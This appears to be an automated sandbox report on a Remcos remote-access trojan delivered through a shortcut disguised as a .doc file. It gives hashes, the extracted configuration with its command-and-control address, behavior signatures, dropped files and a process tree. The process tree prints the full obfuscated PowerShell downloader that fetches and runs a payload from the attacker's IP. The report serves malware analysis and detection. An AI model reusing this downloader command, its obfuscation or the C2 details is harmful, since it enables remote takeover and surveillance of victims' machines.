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Analysis

  • max time kernel
    148s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/08/2024, 01:02

General

  • Target

    brt_1_0147.doc.lnk

  • Size

    47KB

  • MD5

    8b3dc64090b0b26eda4f1195f493160d

  • SHA1

    bd0b4c1d9e8b84465714287727ba5293f9a8eb61

  • SHA256

    cb43e05491b09d4c7da14d3f42d11a2bb4fa81b0fb47717d44c75426832cdf30

  • SHA512

    ddbe1ad300d613531b6ffcb9a8ff607b1e6e7cf676ce738c31d138e6154ff0ee3c1b8d4d8b67c8fec5da444c845b62475736c228eb89d3b013a3ddcb15365deb

  • SSDEEP

    48:88muavUQSbXTo87Cj3YMEDo/FoZaxCogDDo/LX7LdCZZGXu/dZZIa7x:88y8Nkgm3hX+UxCgLX7BuqQ

Malware Config

Extracted

Family

remcos

Botnet

feetfuck

C2

83.222.191.201:24251

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-XTJ1YO

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 8 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\brt_1_0147.doc.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1852
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo QMwlXCkteAQTQqnkaJqrUqs; echo QvYiYqvrrHquSStJfMRfSfWhN; echo bbOXmbTScxuUqnRAgrxICMaBVDaWjzRzRVcfkbymVEadrSAtp; if (-not(Test-Path 'signalmessenger.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/signalmessenger.zip -OutFile signalmessenger.zip}; echo smmOpvMyMQBsjhmNQati; Expand-Archive -Path signalmessenger.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/Newfts.exe; echo XmLObXLAbAaEvFXwLygA; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/racs/brt_1_0147.doc -OutFile brt_1_0147.doc; echo jKSqGTomhhZFxOMFkLZBsdHuhOCDBrMzMONLWouYJOCxTyelGMtYZGs; s''t''a''rt brt_1_0147.doc
      2⤵
      • Blocklisted process makes network request
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4556
      • C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe
        "C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1216
        • C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe
          C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:2660
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\SysWOW64\cmd.exe
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:3180
            • C:\Windows\SysWOW64\explorer.exe
              C:\Windows\SysWOW64\explorer.exe
              6⤵
              • System Location Discovery: System Language Discovery
              PID:5348
      • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
        "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Roaming\brt_1_0147.doc" /o ""
        3⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of SetWindowsHookEx
        PID:1776

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD3FA9.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_habqwspn.0yc.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\afba6944

    Filesize

    1.2MB

    MD5

    9cb45d8033edddac1b527b60c886d3e3

    SHA1

    639f0e8a1aeb16d97563b343ae59f2538fabec99

    SHA256

    a3ce7b71290631ae8a7bc8868db313d3f4ab848d2855db510ed97f769cef375f

    SHA512

    2a8348faf0313d1be4e98ef4e4c0aa5b8aeb84786f23b84c86fc7da8a95c6e17954032bb562422a6cff140be3e6c0878aa308672f721653924eb378948888fc8

  • C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

    Filesize

    371B

    MD5

    caaa8c1e0a0cedbe501ba53fca8496ec

    SHA1

    58c4d9d0ea7e6ead6fcaa6c62864653ff492c4bf

    SHA256

    3a58c2f1523ad2c8060d96fa87f6b84ca86dc3942ded2a3c5d8d467d38121008

    SHA512

    4ea0678c994bdbb7a98aed2498a3f9cbd318b478ed4a0506b49a0135772a47977a8025e9fae57adc08768d6f6c8523cdd14050fe4851cffc562e3ca8060be7ec

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

    Filesize

    1KB

    MD5

    ed47b9ba62fe2fe039775b5506bf4848

    SHA1

    cded2fa440388e241577257b8530633e166324fd

    SHA256

    1b0a31224cf419d73c39de36048c1504427e5fc0c4db4eee8299f700c0a93d70

    SHA512

    4a17ee44946d987e9c812449f3c9b59c3f3ad43d9f864da4b133acd3c5416b5b003397ea9bb22436cfed123d5671f26ac59bc1ba45d68bbf42bfcaf1fb234f8f

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

    Filesize

    2KB

    MD5

    a74c4db816d2bf0377a8b982cbda7252

    SHA1

    5d998ab767b349a4eac71b2191732dd19555fb31

    SHA256

    54d8ce4011a6b1caffe2547beeaa9faca45faf7ad8d11a152dc172db679743f7

    SHA512

    5a63f6ccd15f443ed625afe3f55ee626dc6a8bf5024092c683ee87941a4cdcc27323086047ec6606328f699403e955834bbe43763246db2afb2b72cbb22c4035

  • C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe

    Filesize

    2.1MB

    MD5

    db7e67835fce6cf9889f0f68ca9c29a9

    SHA1

    5565afda37006a66f0e4546105be60bbe7970616

    SHA256

    dbd3057a58fd3407c95418bc5d9c253adc8c658ee338f22d58374ed3ea37b738

    SHA512

    bc2714bb408715e5e1cec1337b831e26dbda208183955a07ec8653a38c9c0f25f60f333a154b738927ce085e7bbff438963b941a6c2773b3e7325cd900e7651b

  • C:\Users\Admin\AppData\Roaming\SecurityCheck\ProductStatistics3.dll

    Filesize

    1.1MB

    MD5

    59c15c71fd599ff745a862d0b8932919

    SHA1

    8384f88b4cac4694cf510ca0d3f867fd83cc9e18

    SHA256

    c4ed07ad748661ce776ac6ebb4f8bef7619586bfb4443ce58c92d4b889f3d5c2

    SHA512

    be3425d55dcaa361bc8481b87b2086454baca79a3c948de9acf9ef7d3084d6d987c328d665b45dfcd0510e2c97c980aa63d7cd669fe9fc1a67983c325593481e

  • C:\Users\Admin\AppData\Roaming\SecurityCheck\RegisterIdr.dll

    Filesize

    1.4MB

    MD5

    6fdb2e9ca6b7a5ad510e2b29831e3bc8

    SHA1

    4a14ee9d5660eb271a6b5f18a55ac3e05f952c68

    SHA256

    f510c85b98fa6fe8d30133114a34b7f77884aa58e57a0561722eeb157dc98a38

    SHA512

    d5248dd902d862afa060ab829fc3a39dccc26dab37737e14a3f9b90b1d3f900b3bf5821f450502a2124016acf0e84bd8979758827a92741f879b2fa4addfda06

  • C:\Users\Admin\AppData\Roaming\SecurityCheck\kytarvx

    Filesize

    31KB

    MD5

    5dc69a3e2fda6cb740f363ef77edcc13

    SHA1

    c177fabf17346531e07d562be11915bf2822148a

    SHA256

    7c24abda04537749bfb1b2d2aa57a7c9261f41012435269347f7eb2d05f71621

    SHA512

    b32848b6eded965245b759be1b72b6fc81acb4002eceae96004e88e549e21eb6eb1ceb3e51f6249d7dfb739f31223e623f7c525f677939bc935d2f6bffb50a9f

  • C:\Users\Admin\AppData\Roaming\SecurityCheck\nywrof

    Filesize

    1.0MB

    MD5

    471076308d78944d45ab35d37134134a

    SHA1

    05cf2cf6e5d11ce10425b14d68cda3246cc47263

    SHA256

    38d10ba2f4411eba8351d5b3fed74ca46bf856569dca757d055eb49d8471e11b

    SHA512

    7f140546ceda85d3c178a61689a0743c75623b7d1e2dcc3e2d29128d7e13d9671cdb660ca46312dbd8ff3d63c12836caf1a6a54c074d66bed269184044bdd9c3

  • C:\Users\Admin\AppData\Roaming\brt_1_0147.doc

    Filesize

    47KB

    MD5

    2616f33bfc84fecd6496c0e3bfbfb1b0

    SHA1

    e4f4fba392ba4a245415729a82aaa486ca31b2ba

    SHA256

    24fbc1c09ca302ed51429082130f7789d36c254c0fb165dd96c3f24b458536a4

    SHA512

    b5c585d7bbdce5e5c34447a311ccdb5b90e34cfd29671f2ebb05f01941e81ae7bcffbd42f5ed476e784684de70cb0fb67cedfd7e62c4c3b5cbe151fc6923dafb

  • memory/1216-49-0x0000000002F60000-0x00000000030D2000-memory.dmp

    Filesize

    1.4MB

  • memory/1216-61-0x00007FFAE4F90000-0x00007FFAE5185000-memory.dmp

    Filesize

    2.0MB

  • memory/1216-70-0x0000000000400000-0x0000000000669000-memory.dmp

    Filesize

    2.4MB

  • memory/1216-71-0x0000000002C00000-0x0000000002D1E000-memory.dmp

    Filesize

    1.1MB

  • memory/1216-72-0x0000000002F60000-0x00000000030D2000-memory.dmp

    Filesize

    1.4MB

  • memory/1216-52-0x0000000074040000-0x00000000741BB000-memory.dmp

    Filesize

    1.5MB

  • memory/1216-45-0x0000000002C00000-0x0000000002D1E000-memory.dmp

    Filesize

    1.1MB

  • memory/1776-79-0x00007FFAA5010000-0x00007FFAA5020000-memory.dmp

    Filesize

    64KB

  • memory/1776-75-0x00007FFAA5010000-0x00007FFAA5020000-memory.dmp

    Filesize

    64KB

  • memory/1776-654-0x00007FFAA5010000-0x00007FFAA5020000-memory.dmp

    Filesize

    64KB

  • memory/1776-78-0x00007FFAA5010000-0x00007FFAA5020000-memory.dmp

    Filesize

    64KB

  • memory/1776-80-0x00007FFAA5010000-0x00007FFAA5020000-memory.dmp

    Filesize

    64KB

  • memory/1776-653-0x00007FFAA5010000-0x00007FFAA5020000-memory.dmp

    Filesize

    64KB

  • memory/1776-77-0x00007FFAA5010000-0x00007FFAA5020000-memory.dmp

    Filesize

    64KB

  • memory/1776-652-0x00007FFAA5010000-0x00007FFAA5020000-memory.dmp

    Filesize

    64KB

  • memory/1776-651-0x00007FFAA5010000-0x00007FFAA5020000-memory.dmp

    Filesize

    64KB

  • memory/1776-93-0x00007FFAA2840000-0x00007FFAA2850000-memory.dmp

    Filesize

    64KB

  • memory/1776-91-0x00007FFAA2840000-0x00007FFAA2850000-memory.dmp

    Filesize

    64KB

  • memory/2660-88-0x0000000002F20000-0x0000000003092000-memory.dmp

    Filesize

    1.4MB

  • memory/2660-117-0x0000000002BC0000-0x0000000002CDE000-memory.dmp

    Filesize

    1.1MB

  • memory/2660-92-0x0000000074040000-0x00000000741BB000-memory.dmp

    Filesize

    1.5MB

  • memory/2660-84-0x0000000002BC0000-0x0000000002CDE000-memory.dmp

    Filesize

    1.1MB

  • memory/2660-94-0x00007FFAE4F90000-0x00007FFAE5185000-memory.dmp

    Filesize

    2.0MB

  • memory/2660-121-0x0000000074040000-0x00000000741BB000-memory.dmp

    Filesize

    1.5MB

  • memory/2660-116-0x0000000000400000-0x0000000000669000-memory.dmp

    Filesize

    2.4MB

  • memory/2660-118-0x0000000002F20000-0x0000000003092000-memory.dmp

    Filesize

    1.4MB

  • memory/3180-619-0x0000000074040000-0x00000000741BB000-memory.dmp

    Filesize

    1.5MB

  • memory/3180-140-0x00007FFAE4F90000-0x00007FFAE5185000-memory.dmp

    Filesize

    2.0MB

  • memory/4556-14-0x00007FFAC6810000-0x00007FFAC72D1000-memory.dmp

    Filesize

    10.8MB

  • memory/4556-19-0x0000017C7C5F0000-0x0000017C7C602000-memory.dmp

    Filesize

    72KB

  • memory/4556-18-0x00007FFAC6810000-0x00007FFAC72D1000-memory.dmp

    Filesize

    10.8MB

  • memory/4556-20-0x0000017C7C350000-0x0000017C7C35A000-memory.dmp

    Filesize

    40KB

  • memory/4556-16-0x00007FFAC6810000-0x00007FFAC72D1000-memory.dmp

    Filesize

    10.8MB

  • memory/4556-2-0x00007FFAC6813000-0x00007FFAC6815000-memory.dmp

    Filesize

    8KB

  • memory/4556-8-0x0000017C7C480000-0x0000017C7C4A2000-memory.dmp

    Filesize

    136KB

  • memory/4556-13-0x00007FFAC6810000-0x00007FFAC72D1000-memory.dmp

    Filesize

    10.8MB

  • memory/4556-76-0x00007FFAC6810000-0x00007FFAC72D1000-memory.dmp

    Filesize

    10.8MB

  • memory/4556-15-0x00007FFAC6813000-0x00007FFAC6815000-memory.dmp

    Filesize

    8KB

  • memory/5348-633-0x0000000000600000-0x0000000000683000-memory.dmp

    Filesize

    524KB

  • memory/5348-632-0x0000000000600000-0x0000000000683000-memory.dmp

    Filesize

    524KB

  • memory/5348-631-0x0000000000600000-0x0000000000683000-memory.dmp

    Filesize

    524KB

  • memory/5348-625-0x0000000000600000-0x0000000000683000-memory.dmp

    Filesize

    524KB

  • memory/5348-626-0x0000000000600000-0x0000000000683000-memory.dmp

    Filesize

    524KB

  • memory/5348-622-0x0000000000600000-0x0000000000683000-memory.dmp

    Filesize

    524KB

  • memory/5348-621-0x00007FFAE4F90000-0x00007FFAE5185000-memory.dmp

    Filesize

    2.0MB

  • memory/5348-655-0x0000000000600000-0x0000000000683000-memory.dmp

    Filesize

    524KB

  • memory/5348-656-0x0000000000600000-0x0000000000683000-memory.dmp

    Filesize

    524KB

  • memory/5348-658-0x0000000000600000-0x0000000000683000-memory.dmp

    Filesize

    524KB